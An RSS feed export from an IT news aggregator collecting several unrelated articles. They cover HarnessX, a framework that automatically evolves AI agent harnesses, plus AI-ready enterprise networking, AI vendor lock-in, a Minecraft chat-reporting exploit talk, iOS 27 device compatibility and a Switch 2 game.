<content:encoded><![CDATA[<p>As enterprise AI agents take on increasingly complex, long-horizon tasks, their performance is often restricted by their harness, the software scaffolding that connects the backbone LLM to its environment. </p><p>Currently, harnesses are largely static and hand-crafted. Improving them is largely manual and they do not automatically improve based on the execution data they collect from their environment.</p><p>To address this engineering bottleneck, researchers at Xiaomi introduced <a href="https://arxiv.org/abs/2606.14249">HarnessX</a>, a framework that treats the AI harness as a composable object and autonomously applies improvements to its code. </p><p>In real-world enterprise applications, this automated adaptation enables AI systems to dynamically adjust to application-specific requirements. Practical tests showed HarnessX delivering substantial performance gains across domains like software engineering and web interaction. </p><p>The results demonstrate that scaling the foundation model is not the only path to more capable AI — and for smaller models, it may not even be the best one. HarnessX's harness evolution yielded an average +14.5% performance gain across 15 model-benchmark combinations; for the open-weight Qwen3.5-9B, gains reached +44% on embodied planning tasks.</p><h2>The challenges of harness engineering</h2><p>In AI applications, a foundation model's capability relies heavily on its <a href="https://venturebeat.com/orchestration/researchers-trained-an-open-source-ai-search-agent-harness-1-that-outperforms-gpt-5-4-on-recalling-relevant-information">surrounding harness</a>. The harness acts as the operational layer that converts raw model outputs into structured, executable agent behaviors. It comprises the prompts, external tool integrations, memory management, and control flows that dictate how an AI system observes its environment, reasons through a problem, and takes action. </p><p>As enterprise agents take on more complex, long-horizon workflows, harness engineering has become a fundamental part of AI development. Despite its importance, harness development remains far from a mature engineering discipline and presents three key challenges.</p><p>First, harnesses are static and hand-engineered. Any shift in the underlying foundation model, the introduction of new tools, or a pivot to a different operational domain requires bespoke, manual code rewrites. Traditional harnesses lack mechanisms to autonomously learn and improve from past execution experiences.</p><p>Second, most existing harnesses suffer from architectural entanglement. They tightly couple prompt templates, tool wrappers, retry policies, and memory management within the same code paths. This entanglement means that tweaking one component can silently break others. Attempting to reuse a harness across different business domains often devolves into raw code copying rather than clean, modular composition.</p><p>Third, the harness and foundation model are optimized in isolation. When engineers run tests to improve the harness, the execution traces generated are typically discarded rather than used as training data to improve the model. Consequently, model upgrades do not naturally lead to harness improvements, creating a bottleneck where teams fail to capture the full value of their agent's operational data.</p><h2>HarnessX: an autonomous foundry for AI agents</h2><p>HarnessX solves the engineering bottlenecks of manual harness development with what the researchers call a “unified harness foundry.” </p><p>The core innovation of HarnessX is treating the harness as a "first-class object". In software engineering terms, this means the harness is an independently serializable, modular, and substitutable entity. By separating the model configuration (i.e., which AI model is operating) from the harness configuration, engineers can seamlessly swap, adapt, and evolve the scaffolding without touching the underlying model.</p><p>HarnessX breaks agent behavior down into different components, such as context assembly, memory management, tool ecosystems, control flow, and observability. Every specific behavior is implemented as a "processor" that plugs into precise lifecycle hooks of the harness. This modular structure allows the system to swap, add, or remove these processors without breaking the surrounding pipeline.</p><p>To automate the optimization of this modular structure, HarnessX introduces AEGIS, a trace-driven evolution engine. AEGIS frames harness adaptation as a reinforcement learning (RL) problem over the different symbolic components of the harness. </p><p>Framing harness optimization as a reinforcement learning problem introduces three pathologies the researchers had to explicitly engineer against:</p><ul><li><p><b>Reward hacking:</b> The system might exploit shortcuts to the solution instead of genuinely solving the task.</p></li><li><p><b>Catastrophic forgetting:</b> An edit that fixes a failure pattern in one domain might silently break a previously solved workflow in another.</p></li><li><p><b>Under-exploration:</b> The system might iterate on minor prompt tweaks rather than exploring new, structurally superior tool configurations.</p></li></ul><p>To prevent these problems, AEGIS relies on full trace observability and a four-stage pipeline:</p><ol><li><p><b>Digester:</b> Compresses execution traces into structured summaries to identify where the agent failed.</p></li><li><p><b>Planner:</b> Analyzes these summaries to enable the system to explore structural changes rather than just local prompt tweaks.</p></li><li><p><b>Evolver:</b> Generates code-level harness edits and tests to ensure they run correctly before deployment.</p></li><li><p><b>Critic and gate:</b> A Critic assesses the edits to detect reward hacking, while a deterministic gate rejects any update that regresses a previously solved task to prevent catastrophic forgetting.</p></li></ol><p>HarnessX enters a growing field of <a href="https://venturebeat.com/orchestration/researchers-introduce-self-harness-a-framework-that-lets-ai-agents-rewrite-their-own-rules-boosting-performance-up-to-60">self-improving harness research</a> — but what separates it is harness-model co-evolution.</p><p>The researchers highlight that optimizing either component in isolation eventually hits a wall. Evolving only the harness hits a scaffolding ceiling if the underlying model lacks the reasoning capacity to use the new tools. Training only the model hits a training-signal ceiling if the harness never prompts the model to use its advanced capabilities.</p><p>HarnessX interleaves harness evolution with model training. The execution traces generated while the harness attempts to adapt to tasks are converted into reinforcement learning signals for the foundation model. Every time the harness improves its strategy, the model simultaneously learns to better exploit that new strategy, breaking the capability ceilings of traditional AI agent development.</p><p>HarnessX makes this co-evolution possible through cross-harness GRPO (Group Relative Policy Optimization). GRPO is the <a href="https://venturebeat.com/ai/microsofts-new-ai-framework-trains-powerful-reasoning-models-with-a-fraction">popular RL algorithm</a> used to train reasoning models such as DeepSeek-R1. </p><p>When fine-tuning the model, cross-harness GRPO pools an agent's execution trajectories for the same task across entirely different versions of the application's harnesses. This allows the underlying model to internalize high-level strategy shifts, like using a new API endpoint or managing an execution budget, rather than just learning minor prompt-phrasing variations.</p><h2>HarnessX in action on industry benchmarks</h2><p>To validate the practical utility of HarnessX, the researchers tested it across five benchmarks comprising software engineering, multi-turn customer service dialog, web navigation, open-ended multi-step reasoning, and embodied planning.</p><p>They separated the AI into two roles. The “meta-agent,” powered by Claude Opus 4.6, analyzed logs and wrote the code to evolve the harnesses. The “task agents” ran the actual workflows. To prove the framework is model-agnostic, they tested it on three different worker models: Claude Sonnet 4.6, GPT-5.4, and the open-weight Qwen3.5-9B.</p><p>HarnessX was compared against two primary baselines. The first was a static harness, representing how most enterprises deploy AI today, using hand-crafted, frozen setups with benchmark-specific prompts and tools. The second was the <a href="https://venturebeat.com/data/anthropics-claude-code-artifacts-update-brings-live-shared-dashboards-and-interactive-workspaces-to-enterprises">Claude Code</a> SDK, a baseline representing a single-agent evolver to test if the complex, four-stage AEGIS pipeline outperformed asking a single language model to iterate on the code.</p><p>Dynamically evolving the harness yields significant gains on the same base model. HarnessX improved performance in 14 out of 15 model-benchmark combinations. Across all tests, evolving the harness yielded an average absolute performance gain of +14.5%.</p><p>The weakest models benefited the most from dynamic harness improvement. The open-weight Qwen3.5-9B saw a +44.0% performance jump on the ALFWorld embodied planning benchmark, and an +18.2% jump on SWE-bench Verified for software engineering. </p><p>Co-evolution also proved highly effective. When the researchers trained the foundation model using the data generated while evolving the harness, they saw an additional +4.7% average performance boost. Improving the harness and the model simultaneously yields the highest ceiling. The co-evolution gain applies only to open-weight models.</p><p>Anecdotal evidence from the experiments shows how HarnessX solves pernicious problems when creating agent harnesses for real-world tasks. For example, in the GAIA multi-step reasoning benchmark, the task agent consistently failed because the headless browser tool it used to scrape Wikipedia timed out on the site's JavaScript-heavy frontend. HarnessX analyzed the execution traces, diagnosed the error, and wrote a new tool that bypassed the browser entirely and queried the MediaWiki API directly for plain text. It swapped this tool into the harness and instantly unlocked the failing tasks.</p><p>During the WebShop e-commerce tests, the AI agent often got stuck in pagination loops, endlessly clicking "next page" and reformulating searches without ever committing to buying a product. Rather than just tweaking the prompt, HarnessX built an advisory processor that detected when the agent was repeating navigation actions. It injected a warning into the context to force a decision, curing the looping behavior and raising performance.</p><h2>Limits of automated harness engineering</h2><p>One important caveat is that the system currently relies on powerful models to act as the meta-agent that rewrites the harness code. In their experiments, the researchers relied on closed frontier models like Claude Opus. Open-weight models are quickly improving, but their ability to serve as the meta-agent remains untested.</p><p>Another limitation worth considering is the intrinsic capabilities of the used models. If the underlying task model is fundamentally too weak to execute the complex workflows the new harness proposes, HarnessX will not be able to improve the agent’s overall abilities (the researchers observed this with the Qwen3.5-9B model on the SWE-bench coding tests).</p><p>Despite these limitations, HarnessX makes a concrete case that harness engineering — not just model scaling — is a lever practitioners can pull now. For teams running smaller open-weight models on complex workflows, the gains here are large enough to justify evaluating harness evolution as a first step before reaching for a more expensive frontier model. The researchers plan to release the code in a future update.</p>]]></content:encoded>
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<title><![CDATA[Gaslight, Gatekeep, Girlboss: Breaking Minecraft's Decentralised Chat Reporting System (gpn24)]]></title>
<description><![CDATA[Minecraft servers have always been decentralised, but in 2022 Mojang attempted to roll out a chat reporting system. Without the ability to trust either the client or the server, this turned out to be very difficult to get right. Over the next 6 months, we were in a cycle of Mojang releasing an up...]]></description>
<link>https://tsecurity.de/de/3622504/it-security-video/gaslight-gatekeep-girlboss-breaking-minecrafts-decentralised-chat-reporting-system-gpn24/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622504/it-security-video/gaslight-gatekeep-girlboss-breaking-minecrafts-decentralised-chat-reporting-system-gpn24/</guid>
<pubDate>Wed, 24 Jun 2026 20:49:09 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Minecraft servers have always been decentralised, but in 2022 Mojang attempted to roll out a chat reporting system. Without the ability to trust either the client or the server, this turned out to be very difficult to get right. Over the next 6 months, we were in a cycle of Mojang releasing an update, and us dropping an exploit. In all we dropped 7 exploits, and there were a couple more found by others. 
This talk covers the context behind the system, how the exploits worked, how Mojang tried to patch them, the community response, and why the system is still broken today, and a new exploit I discovered while writing the talk.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://cfp.gulas.ch/gpn24/talk/MJMUCB/]]></content:encoded>
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<title><![CDATA[The AI readiness gap: Why networks matter more than ever]]></title>
<description><![CDATA[Ask enterprise leaders about AI and you’re likely to get a wave of excited responses. BCG research found that two-thirds of global CEOs put accelerating AI among their top three priorities, with CIOs under pressure to turn that ambition into business value.



But there’s a problem. Many enterpri...]]></description>
<link>https://tsecurity.de/de/3621530/it-nachrichten/the-ai-readiness-gap-why-networks-matter-more-than-ever/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621530/it-nachrichten/the-ai-readiness-gap-why-networks-matter-more-than-ever/</guid>
<pubDate>Wed, 24 Jun 2026 15:32:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Ask enterprise leaders about AI and you’re likely to get a wave of excited responses. <a href="https://www.bcg.com/publications/2026/as-ai-investments-surge-ceos-take-the-lead" target="_blank" rel="sponsored">BCG research found that two-thirds of global CEOs put accelerating AI among their top three priorities</a>, with CIOs under pressure to turn that ambition into business value.</p>



<p>But there’s a problem. Many enterprise AI initiatives are struggling to move beyond pilots into production. Despite near-universal adoption, McKinsey finds that <a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai" target="_blank" rel="sponsored">88% of organizations now use AI in at least one business function</a>, while almost two-thirds remain stuck in pilots and experimentation.  </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“When it comes to AI readiness, most organizations are still trying to figure it out,” says industry expert Bill Burns. “We’re all asking the same questions: where should workloads live, how will traffic move, what does security look like, and where are the bottlenecks going to appear?”</p>
</blockquote>



<p>The reasons are well documented, and most have nothing to do with infrastructure: unclear ROI, poor data quality, governance gaps, change-management fatigue, and a shortage of talent. Any honest account of why pilots stall has to start there.</p>



<p>But there is a common thread why these problems keep surfacing at the same companies, and it sits underneath all of them. Businesses can fix their data strategy, governance model, and talent pipeline, and still find that workloads won’t move where they need to, when they need to, at the cost they need. That constraint is the network – the one layer that gates whether the rest can actually run in production.</p>



<p><strong>Why AI traffic is different and legacy networks can’t cope</strong></p>



<p>Enterprise networks have always evolved to reflect changes in technology and working patterns. The rise of cloud computing and mobile devices in the mid-2000s, for example, shifted enterprise applications from the data center to public clouds and made the internet the network of choice.</p>



<p>AI is triggering the next major shift. It changes the shape, speed and economics of data movement, creating new traffic patterns that legacy infrastructure was never designed to handle. Unless networks adapt, AI will struggle to move beyond pilots into production.</p>



<p>The first challenge comes from training AI models. Unlike traditional enterprise traffic, AI workloads are persistent and continuous, creating demands that can overwhelm existing networks.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“The problem is that many of us are trying to modernize while still keeping the lights on,” says Burns. “It’s a pendulum every day between operational stability and preparing for what comes next.”</p>
</blockquote>



<p>Training AI models requires data centers with high bandwidth, ultra-low latency and near-zero packet loss. Networks previously handling 100Gb may now need 400Gb or even 800Gb capacity. In distributed GPU clusters, one delayed packet can stall synchronization across thousands of dollars of compute resources in real-time.</p>



<p><strong>The inference challenge</strong></p>



<p>The second challenge comes from inference, where users interact with AI systems and AI agents talk to each other. This shifts traffic from north-south flows to far greater volumes of east-west machine-to-machine traffic, potentially increasing network demands by as much as 100x.</p>



<p>Furthermore, AI agents operate far faster than humans, meaning millisecond-level delays can become critical bottlenecks. As devices are increasingly used by both people and agents, enterprise networks will need to operate at machine speed.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“The network is no longer a foster child in the AI era,” says Murali Krishnan, associate vice president and head of the strategic products group for the Americas at Tata Communications. “It is the fabric – the epicenter around which performance, ROI and experience will be measured. CIOs need to unlearn what they knew about networks of the past, because how you design and deploy the network has changed from the ground up.”</p>
</blockquote>



<p><strong>What AI-ready networks look like</strong></p>



<p>After the physical networks of the 1990s and the software-defined networks of the 2010s, we’re moving into the era of cognitive and contextual networks, fit for the unique requirements of AI. Static, best-effort infrastructure is giving way to networks that can observe, prioritize and adapt in real-time. We believe this new infrastructure must be built on three principles.</p>



<ol class="wp-block-list">
<li>Unlike today’s enterprise networks, AI-ready networks will be <strong>natively intelligent and autonomous, with deep observability built in as standard</strong>. In AI environments, one delayed flow can ripple across an entire workload.</li>
</ol>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“Most networks can move AI traffic. The difference is whether they understand it,” says Rajat Gopal, vice president, cloud networking and security solutions at Tata Communications. “That means application awareness – knowing which workload a flow serves – consistency you can measure in jitter, not just an uptime number, and sovereignty enforced in the path itself, so data is geofenced by default.”</p>
</blockquote>



<ul class="wp-block-list">
<li>Given enterprises’ hunger for data, IT leaders will need to architect their future networks with<strong> elasticity and scalability </strong>in mind – not just increased link capacity, but also more effective congestion domain boundaries and more controlled interconnect paths between clouds.</li>
</ul>



<ul class="wp-block-list">
<li>Because the old perimeter-based security model is defunct in an era of AI-powered threats, when data moves continuously across domains, <strong>security and control</strong> have to be embedded into routing logic, not bolted on.</li>
</ul>



<p>Those guiding principles start to map out a way for enterprises to prepare for AI at a foundational level. The network is becoming an active control plane for AI performance, cost and compliance. It also helps address some of the biggest headaches facing IT leaders currently, such as data sovereignty compliance (through visibility into data paths and metadata) and cost optimization (via lowering egress fees).</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“We didn’t set out with AI in mind,” says Thor Wallace, CIO at NETSCOUT. “But as it turns out, the decisions we made through our digital transformation have put us in a position where we’re ready for it. The biggest driver was ensuring we had pervasive visibility across the network.”</p>
</blockquote>



<p><strong>The time to act</strong></p>



<p>As AI agents spread, the network is becoming a critical – yet frequently overlooked – enabler of enterprise AI success.</p>



<p>The opportunity is significant. As Seth Goodman, CRO at Boost Payment Solutions, argues: “To view AI as primarily a cost saver is missing the point entirely.” The organizations seeing the greatest value are using AI to increase productivity, accelerate decision-making and unlock entirely new capabilities.</p>



<p>With industry leaders already benefiting from AI’s productivity gains, CIOs have no time to waste. Fixing the foundations should be the key first step for IT leaders looking to get ready for AI.</p>



<p><em>AI-powered enterprises are being built today. It’s time to get real about your AI readiness. <a href="https://url.usb.m.mimecastprotect.com/s/dWq5CqAE2EfmV7zQsZfkcEFECV?domain=tatacommunications.com" target="_blank" rel="sponsored">Discover how to evolve your network for the next era in Tata Communications latest whitepaper</a></em>.</p>
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<title><![CDATA[Star Fox is the Switch 2’s most impressive visual showcase yet]]></title>
<description><![CDATA[The biggest Switch 2 exclusives so far have largely been about scale. Mario Kart World introduced a wide open continent to race across, Donkey Kong Bananza let you smash basically everything around you, and Pokopia brought an expansive Minecraft-style creative experience to the Pokémon universe. ...]]></description>
<link>https://tsecurity.de/de/3621236/it-nachrichten/star-fox-is-the-switch-2s-most-impressive-visual-showcase-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621236/it-nachrichten/star-fox-is-the-switch-2s-most-impressive-visual-showcase-yet/</guid>
<pubDate>Wed, 24 Jun 2026 14:02:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The biggest Switch 2 exclusives so far have largely been about scale. Mario Kart World introduced a wide open continent to race across, Donkey Kong Bananza let you smash basically everything around you, and Pokopia brought an expansive Minecraft-style creative experience to the Pokémon universe. Star Fox is different. A remake of a Nintendo 64 […]]]></content:encoded>
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<title><![CDATA[Choosing your AI stack: The benefits of vendor lock-in]]></title>
<description><![CDATA[AI has emerged as a top priority for businesses and a vehicle for transformation, as evidenced by Accenture research: 97% of executives believe AI will transform their company and industry. But as companies move from AI pilots to scaling AI across the enterprise, we have had repeated conversation...]]></description>
<link>https://tsecurity.de/de/3620900/it-nachrichten/choosing-your-ai-stack-the-benefits-of-vendor-lock-in/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620900/it-nachrichten/choosing-your-ai-stack-the-benefits-of-vendor-lock-in/</guid>
<pubDate>Wed, 24 Jun 2026 12:03:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>AI has emerged as a top priority for businesses and a vehicle for transformation, as evidenced by <a href="https://www.accenture.com/us-en/insights/consulting/gen-ai-reinventing-enterprise-models" rel="nofollow">Accenture research</a>: 97% of executives believe AI will transform their company and industry. But as companies move from AI pilots to scaling AI across the enterprise, we have had repeated conversations with CIOs and technology leaders who are arriving at the same uncomfortable realization: AI stack decisions are not easily reversible.</p>



<p>Unlike earlier eras of enterprise IT, where abstraction layers insulated applications from hardware choices, today’s AI stack—the infrastructure, technologies and frameworks that powers AI systems – tends  to be tightly co-engineered, with stronger dependencies in the underlying compute layers. Choices made about models, runtimes and compute platforms now shape cost structures, performance ceilings and strategic flexibility. <a href="https://www.accenture.com/content/dam/accenture/final/a-com-migration/pdf/pdf-171/accenture-ever-ready-infrastructure.pdf#zoom=40" rel="nofollow">AI-ready infrastructure</a> has re-emerged as a new source of differentiation, and with it, a new kind of vendor lock-in.</p>



<p>At the center of this shift is the move from training – building AI models – to inference, where those models are used in production to generate outputs from new data. While early attention focused on the cost of training large models, enterprises are now scaling AI across the organization, running models continuously across workflows. This shift significantly changes the economics of AI.</p>



<p>For instance, <a href="https://www.accenture.com/content/dam/accenture/final/accenture-com/document-4/Accenture-The-New-Rules-of-Platform-Strategy-in-the-Age-of-Agentic-AI.pdf#zoom=40" rel="nofollow">agentic AI is reshaping infrastructure architecture and platforms</a> because inference is becoming persistent, stateful and increasingly data intensive. As AI Factories scale, the focus is shifting from peak model performance toward sustainable token economics, where the key differentiators are lowest cost per generated token, power efficiency and infrastructure utilization at scale. In this environment, achieving those outcomes requires full-stack optimization across compute, networking, memory, storage and data fabrics, curated and integrated across ecosystem partners. Secure multitenancy and confidential computing are becoming core design principles, and enterprise AI is now ready to be industrialized at scale.</p>



<h2 class="wp-block-heading">Modern AI infrastructure is a strategic bet</h2>



<p>What makes AI infrastructure different is not just scale, but integration. <a href="https://www.cio.com/article/4176051/8-it-modernization-traps-cios-must-avoid.html?utm=hybrid_search">Modern AI systems</a> are built on tightly co-engineered stacks where GPU accelerators, high-bandwidth interconnects, compilers and runtimes are designed in tandem to maximize throughput and efficiency for AI workloads.</p>



<p>To get the massive computing power required for AI, providers design their hardware and software to work exclusively with one another. This has shifted enterprise decision-making from choosing hardware one piece at a time to committing to ecosystems. And that commitment carries consequences.</p>



<p>In traditional IT environments, applications could also generally move across environments with a manageable amount of effort. In AI systems, that assumption breaks down. What appears portable at the model or application layer often depends on deeply optimized components underneath that layer, such as memory handling and compiler frameworks like CUDA or ROCm that are fine-tuned to specific hardware.</p>



<p>We find it useful to think about AI systems as a layered structure:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/ai-systems-as-a-layered-structure.png?w=1024" alt="A visualization of AI systems as a layered structure." class="wp-image-4188504" width="1024" height="610" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Accenture</p></div>



<p>While upper layers retain some flexibility, dependencies increase as you move downward. Changing your foundational AI provider often means having to rebuild and re-optimize large portions of your technology from scratch.</p>



<p>This is why infrastructure decisions in AI feel less like procurement choices and more like strategic, high-stakes bets.</p>



<h2 class="wp-block-heading">Why switching AI platforms is harder than it looks</h2>



<p>In theory, switching platforms should be straightforward. Models can be retrained, applications rewritten, and infrastructure replaced. In reality, the cost of switching extends far beyond hardware or licensing.</p>



<ul class="wp-block-list">
<li>The first challenge is <strong>engineering effort</strong>. Migrating to different platforms requires engineers to revalidate model behavior, re-tune inference pipelines, and rebuild performance baselines. During this period, teams spend most of their time stabilizing and not innovating.</li>



<li>The second challenge is <strong>hidden dependency</strong>. Over time, system optimization becomes tied to a specific stack. This might include latency expectations, batching strategies, orchestration logic and even human workflows. These ties are not always obvious, but they shape how systems behave in production.</li>



<li>The third challenge is <strong>timing</strong>. There is never a convenient time to migrate, especially factoring in rising AI infrastructure and inference costs, competitive pressure or scaling demands. Organizations are often forced to switch platforms precisely when disruption is hardest to absorb.</li>
</ul>



<h2 class="wp-block-heading">Rethinking performance vs control</h2>



<p>Despite these barriers, organizations do switch. In our experience, this typically happens under three conditions.</p>



<p>One common trigger is when the opportunity cost of staying begins to outweigh the cost of leaving. As performance gaps widen across competing ecosystems, inefficiencies accumulate to the point that remaining on the current platform is no longer viable. Another driver comes from shifts in vendor dynamics. Pricing volatility, supply constraints, or misalignment in product roadmaps can introduce risks that force a re-evaluation. Finally, regulatory requirements, data sovereignty constraints or geopolitical shifts can force platform changes regardless of technical preference.</p>



<p>Across all three strategies, one principle stands out. Lock-in is not inherently negative, and openness is not inherently superior. Timing matters more than ideology.</p>



<p>Given these dynamics, the central question for CIOs is not how to avoid lock-in, but how to manage it deliberately. This represents a significant shift in strategies that previously considered vendor lock-in as a detriment. In practice, we see three broad approaches emerge, each reflecting a different balance between performance and control.</p>



<p>Some organizations take a performance-first approach. They optimize deeply within a specific ecosystem because performance directly drives business outcomes. <a href="https://blogs.nvidia.com/blog/lilly-ai-factory-nvidia-blackwell-dgx-superpod/" rel="nofollow">Eli Lilly’s AI Factory</a> is a strong example. The company has invested heavily in a tightly integrated NVIDIA-based stack to maximize throughput and utilization. In this case, infrastructure is a competitive lever and not merely a support function. Higher switching costs are accepted because near-term performance advantages are decisive.</p>



<p>Others lean toward a portability-first model. These organizations prioritize flexibility, governance, and long-term independence over absolute performance. <a href="https://group.bnpparibas/en/press-release/bnp-paribas-provides-its-businesses-with-an-llm-as-a-service-platform-to-accelerate-the-industrialization-of-generative-ai-use-cases" rel="nofollow">BNP Paribas</a> illustrates this well through its internal LLM platform built on open-source models and controlled infrastructure. By retaining ownership of the stack, the bank ensures data sovereignty, regulatory alignment and predictable cost.</p>



<p>A growing number are adopting a hybrid approach. Rather than applying a single strategy across the enterprise, they segment workloads based on sensitivity to performance, cost and governance. For example, in late 2024, <a href="https://www.cio.com/article/3616622/jpmorgan-chase-builds-ambitious-ai-foundation-on-aws.html?utm_source=chatgpt.com">JPMorganChase</a> outlined its approach at a leading cloud and technology conference. It described combining a firm-wide internal AI platform with cloud-based services to move generative AI into production at scale. This reflects a broader enterprise pattern of pairing internally controlled environments with external ecosystems to balance control, scalability and cost.</p>



<p>A performance advantage is only valuable if it lasts long enough to justify the lock-in it creates. Similarly, portability only matters if the ecosystem evolves in ways that make switching worthwhile. This is where many organizations struggle. They evaluate platforms based on current benchmarks rather than the direction of the ecosystem.</p>



<p>In practice, we encourage leaders to track a set of evolving signals. These range from the maturity of open compiler ecosystems and improvements in cross-platform runtimes, to shifts in performance per watt and increasing regulatory focus on sovereign AI. Together, these indicators help determine whether the industry is moving toward convergence or further fragmentation.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p>AI is forcing a reset in how technology leaders think about IT architecture. The goal for CIOs is no longer to eliminate dependency, but to choose it consciously and manage and revisit that choice over time.</p>



<p>In our experience, the most effective organizations treat this as a dynamic problem. They evaluate where performance truly differentiates them, where flexibility protects them, and how quickly those boundaries are shifting. They also recognize that some degree of re-platforming is inevitable and plan for it, rather than treating it as a failure.</p>



<p>Ultimately, AI infrastructure strategy is not about optimizing for today’s conditions. It is about getting ready for where the ecosystem is going next. The leaders who navigate this well are not those who avoid lock-in entirely, but those who understand when to embrace it when to limit it and when to move beyond it before the market forces that decision on them.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
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<item>
<title><![CDATA[Is Your iPhone Too Old for iOS 27? Here’s What to Do]]></title>
<description><![CDATA[Apple's iOS 27 update brings performance improvements, a smarter Siri experience, Apple Intelligence upgrades, and refinements across the system. However, many iPhone owners are now wondering whether their device is too old to receive the update and what options are available if it is not support...]]></description>
<link>https://tsecurity.de/de/3620600/ios-mac-os/is-your-iphone-too-old-for-ios-27-heres-what-to-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620600/ios-mac-os/is-your-iphone-too-old-for-ios-27-heres-what-to-do/</guid>
<pubDate>Wed, 24 Jun 2026 10:09:18 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple's iOS 27 update brings performance improvements, a smarter Siri experience, Apple Intelligence upgrades, and refinements across the system. However, many iPhone owners are now wondering whether their device is too old to receive the update and what options are available if it is not supported.



The good news is that Apple continues to support several older iPhone models. According to Apple's iOS 27 compatibility announcement, devices as old as the iPhone 11 can install the new software.



If you're unsure whether your iPhone can run iOS 27, follow the methods below.



Table of contentsCheck If Your iPhone Supports iOS 27Check Whether You Can Use Apple Intelligence FeaturesWhat to Do If Your iPhone Is Too OldOption 1: Keep Using Your Current iPhoneOption 2: Upgrade to a Newer iPhoneOption 3: Improve Performance on an Older iPhoneBack Up Your iPhone Before Any Major UpdateFAQsSummaryConclusion



Check If Your iPhone Supports iOS 27



Before doing anything else, confirm whether your iPhone is compatible.



iOS 27 supports the following devices: 




iPhone 11



iPhone 11 Pro



iPhone 11 Pro Max



iPhone SE (2nd generation)



iPhone 12 series



iPhone 13 series



iPhone SE (3rd generation)



iPhone 14 series



iPhone 15 series



iPhone 16 series



iPhone 17 series




Steps to Check Your Model




Open Settings.



Tap General.



Select About.



Look for Model Name.



Compare it with the compatibility list above.




If your iPhone is older than the iPhone 11 or iPhone SE (2020), it cannot install iOS 27.



iOS 27 focuses heavily on performance improvements and system optimization, making many supported iPhones feel faster and more responsive.



Check Whether You Can Use Apple Intelligence Features



Many users assume that installing iOS 27 means getting every new feature. That is not always the case.



While iOS 27 runs on iPhone 11 and newer models, advanced AI features require newer hardware. Apple Intelligence and Siri AI are available only on iPhone 15 Pro, iPhone 15 Pro Max, and newer supported models.



Steps to Verify Apple Intelligence Support




Open Settings.



Tap General.



Select About.



Check your iPhone model.



If you have an iPhone 15 Pro or newer, you can access Apple Intelligence features when available.








What to Do If Your iPhone Is Too Old



If your device cannot install iOS 27, you still have several options.



Option 1: Keep Using Your Current iPhone



Apple typically continues providing security updates for older versions of iOS even after a major update launches.




Open Settings.



Tap General.



Select Software Update regularly.



Install available security updates.




This helps keep your device secure for as long as possible.



Option 2: Upgrade to a Newer iPhone



If you want access to iOS 27 and future updates, upgrading may be the best solution.




Check your current iPhone's trade-in value.



Back up your data to iCloud or a computer.



Purchase a compatible iPhone.



Restore your backup during setup.




Option 3: Improve Performance on an Older iPhone



Even without iOS 27, you can make an older device run better.




Delete unused apps.



Remove large videos and files.



Clear Safari website data.



Turn off background app refresh.



Restart your iPhone regularly.



Replace the battery if battery health is low.








Back Up Your iPhone Before Any Major Update



Whether you are updating or upgrading, creating a backup is essential.



Steps to Back Up With iCloud




Open Settings.



Tap your Apple ID.



Select iCloud.



Tap iCloud Backup.



Choose Back Up Now.



Wait until the backup finishes.








FAQs



Which is the oldest iPhone that supports iOS 27? The iPhone 11, iPhone 11 Pro, iPhone 11 Pro Max, and iPhone SE (2nd generation) are the oldest supported models.  Can iPhone XR install iOS 27? No. The iPhone XR is not supported by iOS 27. Devices older than the iPhone 11 remain on earlier versions of iOS.  Will iPhone 11 get all iOS 27 features? No. iPhone 11 users can install iOS 27, but Apple Intelligence and Siri AI features require newer hardware.  Is it safe to keep using an unsupported iPhone? Yes, for a period of time. However, unsupported devices eventually stop receiving security updates, making an upgrade a better long-term option.  Does iOS 27 improve performance? Yes. Apple has focused on performance optimizations, faster app launches, quicker photo loading, and smoother system responsiveness.  



Summary




Check whether your iPhone is on the iOS 27 compatibility list.



Update through Settings if your device is supported.



Verify whether your model supports Apple Intelligence features.



Continue installing security updates if your iPhone is too old.



Consider upgrading to a newer iPhone for long-term support.



Always create a backup before updating or replacing your device.




Conclusion



iOS 27 supports more older iPhones than many expected, with compatibility extending back to the iPhone 11 and iPhone SE (2nd generation). If your device qualifies, updating is straightforward and brings noticeable performance improvements. 



If your iPhone is no longer supported, keeping it updated with security patches, optimizing its performance, or upgrading to a newer model are the best ways to stay secure and enjoy the latest Apple features.]]></content:encoded>
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<title><![CDATA[Linux on Older Hardware: The Complete Revival Guide (2026)]]></title>
<description><![CDATA[Revive your old PC with Linux in 2026. I tested lightweight distros, zram tuning, SSD upgrades, and browser optimization on a 2014 ThinkPad to show you exactly what works.]]></description>
<link>https://tsecurity.de/de/3620232/linux-tipps/linux-on-older-hardware-the-complete-revival-guide-2026/</link>
